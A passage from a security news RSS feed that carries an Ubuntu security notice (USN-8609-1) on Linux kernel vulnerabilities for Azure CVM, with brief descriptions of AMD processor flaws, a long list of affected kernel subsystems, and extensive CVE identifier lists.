CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8609-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:37 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
